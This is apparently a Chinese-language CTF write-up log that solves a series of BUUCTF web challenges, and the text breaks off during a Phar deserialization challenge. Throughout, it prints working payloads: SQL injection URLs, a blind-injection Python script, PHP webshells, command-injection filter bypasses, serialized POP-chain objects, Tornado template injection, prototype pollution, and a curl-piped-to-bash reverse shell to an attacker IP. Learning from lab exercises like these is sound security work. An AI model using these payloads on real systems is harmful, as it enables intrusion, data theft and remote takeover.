[强网杯 2019]随便注

首先用引号是否要闭合判断是字符型,同时发现#被过滤,所以选用–+,尝试常规的注入流程发现select被过滤,大小写绕过也不行.

return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);

于是尝试堆叠注入是否可行。

=1’;show databases –+

发现可行,于是继续爆表名。

=1’;show tables –+

爆出两个表”1919810931114514”和”words”,于是尝试爆列名.

=1’;show columns from 反引号1919810931114514反引号 –+
(这里要注意纯数字作为表名要加反引号``)

爆出flag的数据名,尝试脱库,因为select被过滤,所以尝试handler命令进行脱库。

handler命令是mysql专有的一个查询表数据的函数,但是不如select功能强大。
基本语法:handler table_name OPEN 打开表
handler  table_name read first 读表的第一行
handler table_name read next 读下一行
handler table_name close 关闭表

构造payload

=1’;handler 反引号1919810931114514反引号 open;handler 反引号1919810931114514反引号 read first –+

图片1

得到flag

[极客大挑战 2019]EasySQL

图片1

[极客大挑战 2019]HardSQL

先试了试常规注入,发现几乎一直有“可别被我逮到了”,说明很多关键词都被过滤了,所以用BP加上sql关键词字典进行fuzz(模糊测试),判断有哪些关键词被过滤

240e4b7ebb80294876b2b553b7d66c09.png

fuzz之后发现报错注入剩了一个漏网之鱼extractvalue,报错也有回显,所以就用报错注入了,同时空格也被严重过滤,常规绕过都难以绕过,所以直接靠()来进行空格代替,#和–+也被过滤,但是#可以用%23代替,and也被过滤,但是or没有被过滤,构造payload。

http://ea81c265-1481-437e-845b-3f0582d2a9d1.node5.buuoj.cn:81/check.php?username=a&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

得到geek的数据库名

http://ea81c265-1481-437e-845b-3f0582d2a9d1.node5.buuoj.cn:81/check.php?username=a&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),0x7e),1)%23

得到H4rDsq1的表名

http://ea81c265-1481-437e-845b-3f0582d2a9d1.node5.buuoj.cn:81/check.php?username=a&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),0x7e),1)%23

得到id,username,password的列名

http://ea81c265-1481-437e-845b-3f0582d2a9d1.node5.buuoj.cn:81/check.php?username=a&password=1'or(updatexml(1,concat(0x7e,(select(concat(id,username,password))from(H4rDsq1)),0x7e),1))%23

8eaf517c-15ba-4013-8ced-d71f9ceab027.png

发现超过报错回显最大字符数,同时substr也被过滤了,所以考虑使用right(数据,长度)函数,功能为从右边读取一定长度的字符。

http://ea81c265-1481-437e-845b-3f0582d2a9d1.node5.buuoj.cn:81/check.php?username=a&password=1%27or(updatexml(1,concat(0x7e,(select(right((password),30))from(H4rDsq1)),0x7e),1))%23

08403b28-c708-4fa2-a828-ce521a92c74c.png

最后拼接到一起就得到flag了

括号这么多太容易漏了,有一种debug的美(-_-)

[ACTF2020 新生赛]Upload

一开始没有思路,前端验证很好绕过,BP修改即可,但是后端应该是检测是否为.php后缀的很难绕过,.htaccess也因为上传后会随机生成文件名导致失效,其他方式也不好用。

了解到还有一种能运行php代码的文件后缀名.phtml之后就好做了,直接上传.png的一句话木马,BP抓包改成.phtml即可

0d0ac8bcfbece81db8997cd393db3ab9.png

[GXYCTF2019]BabyUpload

这个题也是前后端都有验证,直接上传.php文件显示后缀名不能有ph,同时因为上传的文件不会随机生成文件名,所以可以用.htaccess解题,但是上传.jpg文件后后端验证一直过不去,看了源代码才知道原来是检测的文件内容里面是否有php标签,搜索了一下了解到可以用script类型标签,上传之后用.htaccess将jpg解析为php即可。

《script language=’php’》@eval($_POST[‘a’]);《/script》

[GXYCTF2019]Ping Ping Ping

看到ping,知道大概率是在ping一个地址的同时用;或者||进行命令执行,所以先试试ls命令

?ip=127.0.0.1;ls

193a408b-8f62-4a29-9c01-44073eea7977.png

看到flag.php,当场就想直接cat拿到flag,但是显示符号被过滤,判断为空格

Linux 下绕过空格限制
$IFS //Internal Field Separator (内部字段分隔符)默认为(空格、制表符、换号)。
$``{IFS}
$IFS$1 //改成$[1,2,3,4,5,6,7,8,9]
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
$‘\x20’

这里尝试之后发现大部分都被过滤,但是$IFS$1还能用,所以尝试cat$IFS$1flag.php,发现显示flag被过滤

过滤关键字
a=g;b=fla$a.php;cat$IFS$1$b //赋值引用
ca\t fl\ag.php //不影响命令执行
cat f*.php //匹配关键字
echo “Y2F0IGZsYWcucGhw” | base64 -d | bash //cat flag.php的base64编码通过管道执行
cat `ls`` //ls出来的文件名都会被cat

尝试之后判断第一种应该可以用的,但是直接;a=fl;b=ag;cat$IFS$1$a$b.php依然显示flag被过滤,无法理解,于是先去欺负欺负软柿子index.php,直接cat$IFS$1index.php拿下

1e52b9e0-f7d7-4469-8875-5fe1fd04ab04.png

看了源代码才知道过滤flag的方式是按顺序判断有没有flag,中间可以用字符隔开,这样就防止fla\g等绕过方法,只要把flag的顺序打乱再赋值就不会被检测到了,构造payload

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

flag在源码里

cf872247aa9709366a3f4c0fe4f2c435.png

[极客大挑战 2019]Secret File

首先从网页源代码中看见“Oh! You found me”,并且前面有一个可以跳转的链接,点进去,进入下一关。

跳转之后的网页中间有一个secret按钮,按了之后显示“没看清么?回去再仔细看看吧。”,判断为重定向类型,去BP抓包,果然是302重定向型网页,里面有一个“secr3t.php”,访问进入下一关。

下一关直接给了源代码,源代码里面有include函数,并且说了flag在flag.php中,所以判断为用://filter读取源代码,构造?file=php://filter/read=convert.base64-encode/resource=flag.php(这里base编码是为了把注释也读取出来,不然直接读取源代码看不到注释),读取出来解码即可。

9923e0d3e34d05ca5bc7fb5d2d774c27.png

[极客大挑战 2019]Upload

这是一道文件上传题,先上传个.php文件看看情况,发现回显not image,判断可能是MIME绕过,所以BP抓包后改content-type为image/png即可,回显变为“not!php!”,显然是过滤了php的后缀,可以试试大小写绕过或者用.phtml试试,发现前者也不行,但.phtml回显发生变化,变为不能有“《script language=’php’》@eval($_POST[‘a’]);《/script》

上传后回显发生变化,显示不完全是image,判断可能是文件头检测,需要上传图片马,可以用之前新生赛的一道题一样的方法直接制作图片马,也可以直接加文件头比如gif的文件头GIF89a,上传成功,但是仅仅告诉了我们上传文件名而没有告诉路径,猜测可能是默认上传路径/upload/xxx.phtml,访问后发现文件头还在,但是代码消失,说明代码被执行,蚁剑连接即可。

4464f14823a50ca624e3b3ee2bdff2fd.png

[极客大挑战 2019]PHP

首先看到页面上备份网站的字样,想到可能有备份文件,所以用dirsearch扫描一下,得到www.zip这个备份文件,dirsearch命令为

python dirsearch.py -u http://374085ee-48bf-40e5-acf4-9bd53e66bfb3.node5.buuoj.cn:81/ -e php,jsp,asp -x 400-500
-u 指定url
-e 语言 指定网站语言,一般用-e*即所有语言
-i 保留响应状态码(不同状态码用逗号分隔,可指定范围,如-i 200,300-400)
-x 排除响应状态码(不同状态码用逗号分隔,可指定范围,如-x 400,400-500)
-w 指定字典
-r 递归目录(即可扫描新扫描出的目录下的目录)
-random-agents 使用随机User-Agent

然后下载备份文件,得到flag.php,class.php,index.php三个文件,flag.php里面是假flag,class.php里面是一个类的定义,并且包含了flag.php,还有很多魔术方法,再看index.php文件,里面包含了class.php,还有反序列化函数unserialize.判断为php反序列化类型的题.

首先了解一下魔术方法

__construct:当对象被创建时调用
__destruct:当对象被销毁前调用
__sleep:执行serialize函数前调用
__wakeup:执行unserialize函数前调用
__call:在对象中调用不可访问的方法时调用
__callStatic:用静态方法调用不可访问方法时调用
__get:获得类成因变量时调用
__set:设置类成员变量时调用

反序列化漏洞就是通过这些自动调用的魔术方法来控制这些函数里面危险的命令

然后让我们进行代码审计,index.php中get了一个我们可以控制的变量select,并将其进行反序列化,所以如果我们把select设置为提前系列化的pop链,并将其中Name类的对象参数设置的符合class.php中__destruct的要求,我们就能得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
   class Name{
private `$`username = 'admin';
private `$`password = '100';
}
`$`flag=new Name('admin','100');
print_r(serialize($flag));
?》```
`O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";} ` (因为是private所以手动在Name两边补%00)

## 运行上面的代码,将输出传入select中,发现`__wakeup()`破坏了我们的想法,他将usename设置为了guest,所以我们要想办法绕过这个函数,当序列化对象中的成员数大于实际成员数时,就可以绕过`__wakeup()`函数.所以最终的payload为:
>`?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";} `

![0a5bd032-8230-4102-a7a8-461b635031f5.png](https://pics.lwzheng.tech/2024/12/31/67738b9f711f1.png)
## 得到flag

# [RoarCTF 2019]Easy Calc
## 打开网站惯例先看看源代码,看到有一句提示说有WAF(防火墙),然后看到calc.php?num="+encodeURIComponent($("#content").val())这一段代码,前面是calc.php这个php文件get了一个num的参数,后面要把输入的content进行ASCII编码
>encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。 该方法不会对 ASCII
字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ’ ( ) 。
`$`("#content")得到的是一个对象
`$`("#content").val()得到的是这个对象的内容

## 然后顺其自然的就访问calc.php看看,内容是源代码,有blacklist黑名单过滤,先随便输入了一些没有被显式过滤的字母,发现被WAF检测到,直接无权访问,去了解了一下WAF绕过方式,发现可以在get变量名前加空格%20来绕过
>如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)

## 所以只要?%20num=即可,接下来该怎么做呢
>file_get_contents():把整个文件读入一个字符串中.该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
scandir():列出指定路径中的文件和目录,scandir ( string $directory [, int $sorting_order [, resource $context ]] ) : array 返回一个 array,包含有 directory 中的文件和目录。
print_r():print_r() 函数用于打印变量,以更容易理解的形式展示。
chr():chr(ascii码值)=ascii码值对应的字符

## 有了这些函数我们就可以寻找flag了,首先先看看根目录下有什么文件,用print_r(scandir(/))这个函数查询,但是发现/在黑名单中,所以用到chr函数,用chr(47)代替/,所以payload为?%20num=print_r(scandir(chr(47))),得到目录。
![d290eb6a-b8a9-4c8b-b869-a4e8396442b0.png](https://pics.lwzheng.tech/2025/01/02/67762a4c74b8f.png)
## 接下来就是要得到f1agg里面的内容了,运用print_r(file_get_contents(/f1agg)),但是还是用chr函数将/f1agg进行表示,转换为ascii码值后payload为?%20num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))),得到flag。
![6b7819af-c9fc-48be-9b76-e150a673b115.png](https://pics.lwzheng.tech/2025/01/02/67762b79c3aba.png)

# [护网杯 2018]easy_tornado
## 打开环境后有3个超链接,/flag.txt里面说flag在/fllllllllllllag文件中,同时观察url中有两个参数分别为?filename和?filehash,方便为文件和文件哈希值,将/flag.txt替换为/fllllllllllllag后显示error,同时参数变为?msg=error,同时联系题目的tornado判断为tornado模板注入。
## 然后打开/welcome.txt,没什么信息
## 最后打开/hint.txt,里面写了一段表达式一样的东西md5(cookie_secret+md5(filename)),同时有md5函数,判断可能为哈希值计算方式,所以只要知道了cookie_secret这个秘钥就能访问了。
>模板注入必须通过传输型如`{{xxx}}`的执行命令
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。
简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息变量,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。

## 所以将error界面的url改为`?msg=error{{handler.settings}}`即可访问到环境配置信息,这里面就有我们想要的秘钥。
![6ebf26842365fa74e71f193c92bb961b.png](https://pics.lwzheng.tech/2025/01/07/677cf582159ba.png)
## 用了秘钥,接下来按照表达式的方式计算hash值即可
>hash=MD5(d1735122-9df6-46bc-a3fe-7489f222268d+MD5(/fllllllllllllag))

## 访问file?filename=/fllllllllllllag&filehash=ce3938236541fbdca83f799f3502905d即可拿到flag。

# [ZJCTF 2019]NiZhuanSiWei
![b138e4fb-dc46-44d1-ae16-b5bdfa77c574.png](https://pics.lwzheng.tech/2025/01/07/677d12e4ed36e.png)
## 首先打开网站后源代码直接有,进行代码审计,首先get了3个参数,第一个if检验是否传入text同时用file_get_contents读取text指向的文件的内容检验是否等于`welcome to the zjctf`
## file_get_contents函数在我们不知道网站内部有什么可以利用的文件时一般用伪协议进行绕过,这里可以用php://input让他读取post数据流里面的数据,我们再post一个`welcome to the zjctf`就可以了
## 第二层检验是检测file里面是否有flag字样,如果没有,就进行include包含,显而易见是文件包含漏洞,同时注释给了useless.php这个提示,显然是想让我们通过文件包含漏洞将useless.php给包含进来并显示,所以用filter伪协议?file=php://filter/read=convert.base64-encode/resource=useless.php,得到源代码的base64值,解码出来得到useless的源代码。
>```《?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?》```

## 同时下面还有反序列化函数unserialize,结合useless里面的类定义,判断为反序列化漏洞,所以根据useless.php里面的flag.php注释,判断可能要把flag.php通过function __tostring的file_get_contents函数给echo出来,所以构造php函数
>```《?php
class Flag{ //flag.php
public `$`file='flag.php';
public function __tostring(){
if(isset(`$`this->file)){
echo file_get_contents(`$`this->file);
echo "";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
`$`password=new Flag();
print_r(serialize(`$`password));
?》```

## 得到输出为`O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} `,所以将这个值get给password变量即可,同时因为我们不再需要二次打印useless.php的内容,仅仅只要包含就行,所以可以将file的伪协议去掉改为单独的useless.php,所以最终的payload为`/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}`同时POST`welcome to the zjctf`。
![47ad9051b0f7a87b7768af6f87d88ca2.png](https://pics.lwzheng.tech/2025/01/07/677d1646e1fa1.png)

# [网鼎杯 2020 青龙组]AreUSerialz
![04bb0193-7c15-4ffd-adcd-73614acbb20c.png](https://pics.lwzheng.tech/2025/01/08/677e358b1bd48.png)
## 首先先代码审计,代码包含了一个flag.php的文件,猜测flag可能在其中,接下来定义了一个类,同时里面有__construct和__destruct两个魔术方法,又定义了一个is_valid函数来判断一个字符串里面的字符是否都满足ascii码值是不是都在[32,125]这个区间内,查看ascii码表发现[32,125]这个区间内的都是可打印字符,最后主函数里面先用is_valid函数检测get的字符串,然后再反序列化,显而易见是一个反序列化漏洞。
## 接下来就是思考如何构造pop链了,首先寻找能够输出信息的突破口
``` private function output($s) {
echo "[Result]: ";
echo $s;```

## 显而易见就是这个输出函数了,那么那一个函数能调用这个函数呢
``` public function process() {
if(`$`this->op == "1") {
`$`this->write();
} else if($this->op == "2") {
`$`res = $this->read();
`$`this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset(`$`this->filename) && isset(`$`this->content)) {
if(strlen((string)`$`this->content) > 100) {
`$`this->output("Too long!");
die();
}
`$`res = file_put_contents(`$`this->filename, `$`this->content);
if(`$`res) $this->output("Successful!");
else `$`this->output("Failed!");
} else {
`$`this->output("Failed!");
}
}```

## 我们发现这两个函数里面都有调用,但是观察write函数里面都是以固定字符串调用output函数,所以并没有利用价值,所以将重点放在process函数上,在第二个条件中,我们能output一个变量,这个变量是通过read函数生成的,所以我们转到read函数
``` private function read() {
`$`res = "";
if(isset(`$`this->filename)) {
`$`res = file_get_contents(`$`this->filename);
}
return `$`res;
}```

## 这个函数是通过file_get_contents这一个读取文件写入功能的函数处理filename并返回的,加上一开始包含的flag.php的提示,判断应该是要用filter伪协议来读取flag.php里面的数据了,如果我们将filename的值设置为php://filter/read=convert.base64-encode/resource=flag.php,就可以利用file_get_contents函数得到flag.php里面的内容了。
## 接下来要解决的问题就是如何满足process函数的第二个条件了,条件要求op=2,所以令op=2,然后再想办法执行process函数即可,
``` function __construct() {
` $`op = "1";
`$`filename = "/tmp/tmpfile";
`$`content = "Hello World!";
`$`this->process();
}
function __destruct() {
if(`$`this->op === "2")
` $`this->op = "1";
`$`this->content = "";
`$`this->process();
}```

## 我们发现这两个魔术方法中都有process函数,但是因为__construct在本地构造序列化字符串时候就已经执行了,在服务器上面不会执行__construct,所以我们关注__destruct函数,这里面会检测op是否等于2,如果等于就会将其变为1,所以为了在执行process时op=2,我们就要绕过这个检测,仔细对比process函数条件和__destruct函数条件,发现process为弱比较,__destruct为强比较,所以我们可以通过数字2来绕过与字符串2的比较,从而绕过op=1的命令。
## 到这里就得到pop链为__destruct()->process(op==2)->read()->output()
>```《?php
class FileHandler {
protected `$`op=2;
protected `$`filename='php://filter/convert.base64-encode/resource=flag.php';
protected `$`content;
}
`$`flag=new FileHandler();
print_r(serialize(`$`flag));
?》```
`O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:10:"%00*%00content";N;}`

![dc19251f-59e9-40f8-a227-405746a34d94.png](https://pics.lwzheng.tech/2025/01/08/677e3b9192a76.png)
## 这里发现%00并不满足is_valid函数的条件,所以无法执行反序列化,为了绕过,可以利用php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符。
>```《?php
class FileHandler {
public `$`op=2;
public `$`filename='php://filter/convert.base64-encode/resource=flag.php';
public `$`content;
}
`$`flag=new FileHandler();
print_r(serialize(`$`flag));
?》```
`O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}`

![1f5cd4f8-8477-4d34-aaf7-03c46ede981f.png](https://pics.lwzheng.tech/2025/01/08/677e3c9c047cf.png)
## 这样就得到flag.php的base64编码值了,解码即可得到flag




# [RoarCTF 2019]Easy Java
## 打开是一个登录页面,里面有个help的超链接,打开后发现下载不了,发现是get请求的,尝试post请求,发现成功下载,打开help文件发现没有flag,但是这个下载成功的目的是为了让我们知道这是个文件下载漏洞,我们可以通过download页面随意下载网页的文件,里面有一些配置文件就很有可能包含重要信息
>Java中的重要文件:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/database.properties:数据库配置文件


>Servlet(Server Applet),全称Java Servlet。是用Java编写的服务器端程序,其主要功能在于交互式地浏览和修改数据,生成动态Web内容。狭义的Servlet是指Java语言实现的一个接口,广义的Servlet是指任何实现了这个Servlet接口的类,一般情况下,人们将Servlet理解为后者。

>web.xml文档中配置映射关系
《servlet》
《servlet-name》自定义名称《/servlet-name》 //3
《servlet-class》处理请求的类的完整路径《/servlet-class》 //4
《/servlet》
《servlet-mapping》《!-- mapping 表示映射 -->》
《servlet-name》自定义名称《/servlet-name》 //2
《url-pattern》请求名《/url-pattern》 //1
《/servlet-mapping》
标签的执行顺序: 请求过来以后->web.xml->servlet-mapping标签中的url-pattern标签中的内容和请求名 进行匹配->匹配成功后找对应的servlet-mapping标签中的servlet-name-> 去servlet标签中找和上一个servlet-name相同的name值->去找servlet标签中 的servlet-class中处理类的完整路径
简单理解就是代码后面注释的顺序:1–>2–>3–>4

## 下载web.xml文件,发现里面有一个FlagController的类,然后下面给了处理请求的类的完整路径com.wm.ctf.FlagController,所以可以按照这个路径去下载这个类的文件/WEB-INF/classes/com/wm/ctf/FlagController.class
## 下载完之后去idea(java编译软件)反编译这个类,即得到flag,这里的flag显然被base64编码加密(因为==结尾),所以base64解码即可得到flag。

# [CISCN2019 华北赛区 Day2 Web1]Hack World
## 先试了试1,发现有回显,尝试1‘后确认为sql注入,然后尝试常规注入,发现有的被过滤,所以先fuzz测试一下有哪些被过滤,然后因为在输入一些字符时回显为bool(false),判断可能为布尔盲注sql注入,这个题也是直接把表名个列名都给了,所以光爆破一个数据即可
if(substr(ascii(select(flag)from(flag))),x,1),1,2) (空格被过滤了,所以用括号代替)

## 布尔盲注就是利用if(条件,输出1,输出2)语句来判断是否满足条件,所以要找到2种不同的回显作为if的输出,既然1的回显不同,不妨试试2的(不过用1和除了1,2之外的回显bool(false)也是可以的),不过既然1和2的回显不一样,就用1,2当做if语句的输出,然后这种大工作量的直接用BP一个一个爆破或者py脚本爆破就好,自己试还是太麻烦了。
## 二分法python脚本模版
```python
import requests (调用一个py的用于上传网络请求的库)
url = "http://65bcf82d-b053-4f60-8864-835f438b26b4.node5.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id":payload}
res = requests.post(url=url, data=data).text
if "Hello" in res: (判断回显,hello在1的回显里面而不在2的回显里面)
letf = mid + 1
else:
right = mid
if letf != 32: (判断是否为空格,为空格则停止,不为空格则写入并输出)
flag += chr(letf)
print(flag)
else:
break

利用这个脚本即可爆破得到flag

反序列化+原型链污染

[网鼎杯 2020 青龙组]AreUSerialz

见第20条^-^

unserialize3

一个非常简单的wakeup绕过,利用当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

1
2
3
4
5
6
7
8
9
< ?php 
class xctf{
public $flag = '111';

}
$a=new xctf();
print_r(serialize($a))
?>
O:4:"xctf":1:{s:4:"flag";s:3:"111";} (将代表属性个数的1改为2即可)

传入参数后拿到flag

wife_wife

打开后是一个登录界面,然后下面有个注册,先去注册看看,注册里面有个is Admin的选项,选上之后让你填邀请码,应该是类似于内部人员的选项,猜测可能要越权注册到内部人员,不过既然能注册普通账户,不妨先注册试试。

然后注册后登录,发现有个flag,先试试提交,果然是假的,下面有个下载按钮,感觉说不定有文件下载漏洞,查看网页源代码后发现下载的是一个名为wife的元素,这个元素在前端源代码里面能修改,所以就先把刚才遇见的两个网页源代码register.html和login.html下载下来先看看,发现好像是类似于模版的东西,没有什么作用,果然还是黑盒环境。

c08cf284edfd684281f13b0622d060af.png

既然登录后暂时没啥可以操作的了,就去之前发现的可能存在漏洞的注册网页is Admin选项试试吧,先试试能不能用sql注入的永真绕过邀请码,然后发现不行(这个注册环境甚至没有数据库),然后发现这个题学姐给我们题型了,反序列化或者原型链污染,反序列化肯定不太可能,这黑盒环境反序列化有点抽象了,所以猜测是原型链污染(又是完全陌生的一个名词),所以就去了解一下这个漏洞吧

原型链污染

大体了解原理后就来尝试一下做题吧,首先便是要弄清楚我们要污染的这个元素是什么,显而易见就是判定我们是不是is Admin的这个参数了,所以去BP抓个包看看这个参数是什么,原来是”isAdmin”:true

所以把这个参数放到原型里面,也就是在这个元素放进__proto__:{"isAdmin":true}里(一定要记得删掉原先post请求的”isAdmin”:true后面的,),这样服务器就会将将这个参数判断为原型链的一部分,在读取时便会遍历所有链去找到isAdmin这个参数,这样在注册账号时便可以直接越权拿到Admin的权限级别了

不过直接提交请求报错,尝试后发现是我们还没有把秘钥这个参数去掉,去掉之后边成功注册了

f47d7869a6d9f45e444d8e9775db697d.png

然后登录发现页面里的flag果然发生变化(同时wife–),提交后果然是真flag。

959f6b5dbecea2e357f08a297a64b790.png

[网鼎杯 2020 青龙组]notes

题目给了环境和附件,附件下载下来后发现是源代码,审计了一下之后发现就是一些增删改查数据的操作分布在不同网页,不过有一段代码感觉有漏洞利用的可能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

这里面有一段 exec(commands[index], {shell:'/bin/bash'},大体意思就是执行index这个变量代指的命令,同时index又是从commands里面遍历,这就让刚刚做完原型链污染的我感觉如果能污染commands的原型链,不就可以进行任意代码执行了吗。

接下来就是怎么污染的问题了,问题是我们能输入的比如输入数据和修改数据都是在note_list这个类里面修改,跟commands这个类扯不上半点关系

了解后发现还有undefsafe函数的漏洞可以配合原型链污染达到污染所有链的效果

1
2
3
4
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

这里直接将id设置为__proto__,这样转入数据后就可以将所有链的__proto__.author都赋值为author(raw同理),这样我们再在author这个元素里面写入我们要执行的命令不就能命令执行了吗

不过直接传入像ls这样的命令并没有回显,判断可能是没有打印回显到网页的命令,一开始我以为console.log就是直接输出,查询之后才知道这只是个用于调试和查看程序运行过程中的数据的命令,不会输出到网页端,这样的话又该怎么办呢

看了别人的WP发现还可以反弹shell(反弹 shell 是指目标主机主动向攻击者的主机发起连接,然后攻击者利用这个连接与目标主机进行交互。与之相对的是绑定 shell,它是在目标主机上开放一个监听端口,攻击者直接连接这个端口。)

这里我们就可以利用我们可以控制命令执行来写入shell进行监听目标,利用Curl配合Bash反弹shell,首先我们先有一个自己的VPS(虚拟服务器)(好像必须要云服务器,我的本地接收不到shell),然后在网站目录下放一个shell.txt文件,在里面写上Bash命令bash -i >& /dev/tcp/IP/9999 0>&1(IP要写我们进行监听的IP,端口9999可以用自己喜欢的)

447f380d01c3a5e652b40ed61eca9ed8.png

然后用netcat进行监听端口9999(nc -lvvp 9999),最后在题目网站中的edit_note页面POST我们的数据id=__proto__&author=curl%20http://IP/shell.txt|bash&raw=a(原理就是在命令执行时利用linux的通道|来将访问我们网页里面的shell.txt获得的信息通过管道|传入bash中,从而达到让bash执行连接到我们设定的ip下的端口的命令,这样我们就能进行监听和对方服务器下的直接的命令执行了),之后大部分页面都会报错,这里应该是我们给所有类都污染导致的,不用理会,直接去访问/status让我们注入的代码运行就好了

0573dec69714d407f61e493bb6487618.png

之后就去拿flag即可

PharPOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
 < ?php
highlight_file(__FILE__);

function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}

class air{
public $p;

public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value);
}
}

class tree{
public $name;
public $act;

public function __destruct() {
return $this->name();
}
public function __call($name, $arg){
$arg[1] =$this->name->$name;

}
}

class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag;
}
}

class D {
public $start;

public function __destruct(){
$data = $_POST[0];
if ($this->start == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".jpg";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->start == 'r') {
waf($data);
$f = file_get_contents($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}

class banana {
public function __get($name){
return $this->$name;
}
}
// flag in /
if(strlen($_POST[1]) < 55) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}

throw new Error("start");
?>

首先,反序列化惯例先找找起点(魔术方法destruct和wakeup)和终点(include等可控制参数的危险函数),我们发现air类中有一句echo new $p($value)(原生类,后面再说),同时这里在D这个类里面发现了两个危险函数file_put_contents和file_get_contents就在destruct里面,可惜有waf函数对参数data的过滤让我们难以直击到flag,waf过滤掉了很多协议和php,让我们无法直接远程文件包含和上传shell,这里就要用到我们题目的提示phar了。

Phar是什么?
可以将多个文件组合成一个文件,并按照序列化文件的方式存储,这种文件在文件操作函数中触发phar://协议时会执行反序列化,因此我们可以用phar作为反序列化的跳板

5b2cf0a30af8437fe308a0e718c98917.png

那么这个题我们为什么要用phar作为跳板呢,这是因为主函数的反序列化对参数的长度有限制,如果想直接利用echo new $p($value)的话需要进行嵌套类的生成,会超出长度,所以我们要利用phar作为反序列化的跳板,利用file_put_contents写入phar,利用file_get_contents触发利用echo new $p($value)的pop链反序列化

不过在尝试性传入几个参数时发现网页最后一直报错,这才注意到最后的一句throw new Error(“start”);,这句话的作用就是抛出一个错误,而代码在遇到这个错误时便不再进行,进而导致我们的魔术方法destruct和wakeup无法触发,所以我们要在代码抛出错误之前将我们反序列化的类回收掉,这便是GC(垃圾处理机制)

__destruct(析构函数)当某个对象成为垃圾或者当对象被显式销毁时执行
